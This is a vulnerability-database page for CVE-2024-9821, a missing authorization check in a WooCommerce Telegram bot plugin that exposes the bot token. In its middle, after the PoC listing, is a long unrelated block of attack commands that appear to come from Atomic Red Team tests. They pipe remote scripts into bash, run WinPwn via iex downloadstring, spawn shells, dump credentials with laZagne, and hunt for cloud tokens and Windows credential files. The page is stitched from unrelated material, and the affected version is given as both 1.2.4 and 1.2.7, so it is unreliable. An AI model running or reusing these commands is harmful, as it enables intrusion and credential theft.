CVE-2024-9821
Overview
This vulnerability is an authorization bypass leading to sensitive information disclosure. The root cause is the absence of proper authorization checks on the 'stm_wpcfto_get_settings' AJAX action within the Bot for Telegram on WooCommerce plugin. This flaw affects all plugin versions up to and including 1.2.7, specifically impacting the AJAX endpoint responsible for retrieving plugin settings.
Vulnerability Description
The Bot for Telegram on WooCommerce plugin for WordPress is vulnerable to sensitive information disclosure due to missing authorization checks on the 'stm_wpcfto_get_settings' AJAX action in all versions up to, and including, 1.2.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to view the Telegram Bot Token, a secret token used to control the bot, which can then be used to log in as any existing user on the site, such as an administrator, if they know the username, due to the Login with Telegram feature.
Impact
An attacker with subscriber-level access can extract the Telegram Bot Token, enabling them to impersonate any user on the WordPress site through the Login with Telegram functionality if the username is known. This allows unauthorized account takeover, including administrator accounts, facilitating full site compromise. The attack requires authenticated access (PR:L) but no user interaction (UI:N), and can be executed remotely over the network (AV:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users of the Bot for Telegram on WooCommerce plugin should upgrade to a version later than 1.2.7 where proper authorization checks are enforced on the 'stm_wpcfto_get_settings' AJAX action. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a662c904-ba2e-494c-a603-b22eeeddf43d?source=cve. Applying the update eliminates unauthorized access to the Telegram Bot Token and mitigates the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Bot for Telegram on WooCommerce plugin for WordPress stems from inadequate authorization checks on a specific AJAX action, allowing authenticated users with subscriber-level access or higher to access sensitive information. This flaw enables attackers to retrieve the Telegram Bot Token, a critical secret that facilitates control over the bot's operations. The absence of proper validation mechanisms means that any authenticated user can exploit this weakness to disclose sensitive configuration data, which should be strictly protected. The implications of this oversight are significant, as the Telegram Bot Token can be leveraged to impersonate users within the system, especially if the attacker knows the username of an existing account.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could initiate an AJAX request to the vulnerable action, bypassing any necessary checks that would typically restrict access to sensitive information. Once the attacker retrieves the Telegram Bot Token, they can use it to gain unauthorized access to the bot's functionalities. This could lead to further exploitation, such as logging in as an administrator if the attacker possesses the username, thereby escalating their privileges within the system. Additionally, the attacker could manipulate the bot to execute arbitrary commands, potentially compromising the integrity and confidentiality of the entire WordPress site.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on the WooCommerce platform for e-commerce operations. If an attacker successfully exploits this vulnerability, they could gain access to sensitive customer data, manipulate transactions, or even disrupt services. The potential for reputational damage is high, as customers expect their data to be secure. Furthermore, the financial implications of a breach could be severe, including loss of revenue, legal liabilities, and costs associated with incident response and recovery. The risk is exacerbated for organizations that handle sensitive information or operate in regulated industries, where compliance with data protection laws is critical.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to conduct regular security assessments and code reviews of plugins and themes used within the WordPress ecosystem. This includes monitoring for updates from developers and applying patches promptly to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of protection against exploitation attempts. Organizations should also consider implementing strict access controls and user role management to limit the potential for exploitation by authenticated users. Educating users about the importance of strong passwords and the risks associated with sharing credentials can further reduce the likelihood of successful attacks.
In conclusion, the vulnerability within the Bot for Telegram on WooCommerce plugin represents a significant risk to WordPress sites, particularly those leveraging the Login with Telegram feature. The combination of inadequate authorization checks and the potential for privilege escalation creates a pathway for attackers to compromise user accounts and sensitive data. Organizations must prioritize the detection and mitigation of such vulnerabilities to safeguard their digital assets and maintain customer trust. By adopting proactive security measures and fostering a culture of cybersecurity awareness, businesses can better protect themselves against the evolving threat landscape.
Affected Products
No CPE information available.
Disclaimer
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GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
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RandomRobbieBF/CVE-2024-9821
Bot for Telegram on WooCommerce <= 1.2.4 - Authenticated (Subscriber+) Telegram Bot Token Disclosure to Authentication B...
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RandomRobbieBF | 1 | 0 | 2024-10-11 | View |
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PoC
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Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-9821 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/a662c904-ba2e-494c-a603-b22eeeddf43d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/bot-for-telegram-on-woocommerce/trunk/nuxy/helpers/helpers.php?rev=2575772#L54 |